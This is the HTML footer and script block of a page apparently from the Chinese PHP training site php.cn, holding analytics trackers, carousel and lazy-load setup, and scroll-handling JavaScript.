<p>公益在线PHP培训,帮助PHP学习者快速成长!</p> </div> <div class="footermid"> <a href="//m.sbmmt.com/zh/about/us.html">关于我们</a> <a href="//m.sbmmt.com/zh/about/disclaimer.html">免责声明</a> <a href="//m.sbmmt.com/zh/update/article_0_1.html">Sitemap</a> </div> <div class="footerbottom"> <p> © php.cn All rights reserved </p> </div> </div> </footer> <input type="hidden" id="verifycode" value="/captcha.html"> <script>layui.use(['element', 'carousel'], function () {var element = layui.element;$ = layui.jquery;var carousel = layui.carousel;carousel.render({elem: '#test1', width: '100%', height: '330px', arrow: 'always'});$.getScript('/static/js/jquery.lazyload.min.js', function () {$("img").lazyload({placeholder: "/static/images/load.jpg", effect: "fadeIn", threshold: 200, skip_invisible: false});});});</script> <script src="/static/js/common_new.js"></script> <script type="text/javascript" src="/static/js/jquery.cookie.js?1753799532"></script> <link rel='stylesheet' id='_main-css' href='/static/css/viewer.min.css?2' type='text/css' media='all' /> <script type='text/javascript' src='/static/js/viewer.min.js?1'></script> <script type='text/javascript' src='/static/js/jquery-viewer.min.js'></script> <script type="text/javascript" src="/static/js/global.min.js?5.5.53"></script> <script> var _paq = window._paq = window._paq || []; /* tracker methods like "setCustomDimension" should be called before "trackPageView" */ _paq.push(['trackPageView']); _paq.push(['enableLinkTracking']); (function () { var u = "https://tongji.php.cn/"; _paq.push(['setTrackerUrl', u + 'matomo.php']); _paq.push(['setSiteId', '9']); var d = document, g = d.createElement('script'), s = d.getElementsByTagName('script')[0]; g.async = true; g.src = u + 'matomo.js'; s.parentNode.insertBefore(g, s); })(); </script> <script> // top layui.use(function () { var util = layui.util; util.fixbar({ on: { mouseenter: function (type) { layer.tips(type, this, { tips: 4, fixed: true, }); }, mouseleave: function (type) { layer.closeAll("tips"); }, }, }); }); document.addEventListener("DOMContentLoaded", (event) => { // 定义一个函数来处理滚动链接的点击事件 function setupScrollLink(scrollLinkId, targetElementId) { const scrollLink = document.getElementById(scrollLinkId); const targetElement = document.getElementById(targetElementId); if (scrollLink && targetElement) { scrollLink.addEventListener("click", (e) => { e.preventDefault(); // 阻止默认链接行为 targetElement.scrollIntoView({ behavior: "smooth" }); // 平滑滚动到目标元素 }); } else { console.warn( `Either scroll link with ID '${scrollLinkId}' or target element with ID '${targetElementId}' not found.` ); } } // 使用该函数设置多个滚动链接 setupScrollLink("Article_Details_main1L2s_1", "article_main_title1"); setupScrollLink("Article_Details_main1L2s_2", "article_main_title2"); setupScrollLink("Article_Details_main1L2s_3", "article_main_title3"); setupScrollLink("Article_Details_main1L2s_4", "article_main_title4"); setupScrollLink("Article_Details_main1L2s_5", "article_main_title5"); setupScrollLink("Article_Details_main1L2s_6", "article_main_title6"); // 可以继续添加更多的滚动链接设置 }); window.addEventListener("scroll", function () { var fixedElement = document.getElementById("Article_Details_main1Lmain"); var scrollTop = window.scrollY || document.documentElement.scrollTop; // 兼容不同浏览器 var clientHeight = window.innerHeight || document.documentElement.clientHeight; // 视口高度 var scrollHeight = document.documentElement.scrollHeight; // 页面总高度 // 计算距离底部的距离 var distanceToBottom = scrollHeight - scrollTop - clientHeight; // 当距离底部小于或等于300px时,取消固定定位 if (distanceToBottom <= 980) { fixedElement.classList.remove("Article_Details_main1Lmain"); fixedElement.classList.add("Article_Details_main1Lmain_relative"); } else { // 否则,保持固定定位 fixedElement.classList.remove("Article_Details_main1Lmain_relative"); fixedElement.classList.add("Article_Details_main1Lmain"); } }); </script> <script> document.addEventListener('DOMContentLoaded', function() { const mainNav = document.querySelector('.Article_Details_main1Lmain'); const header = document.querySelector('header'); if (mainNav) { window.addEventListener('scroll', function() { const scrollPosition = window.scrollY; if (scrollPosition > 84) { mainNav.classList.add('fixed'); } else { mainNav.classList.remove('fixed'); } }); } }); </script> </body> </html><script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"version":"2024.11.0","token":"8c758bee214b4fe0858e454e5edf6f97","r":1,"server_timing":{"name":{"cfCacheStatus":true,"cfEdge":true,"cfExtPri":true,"cfL4":true,"cfOrigin":true,"cfSpeedBrain":true},"location_startswith":null}}' crossorigin="anonymous"></script>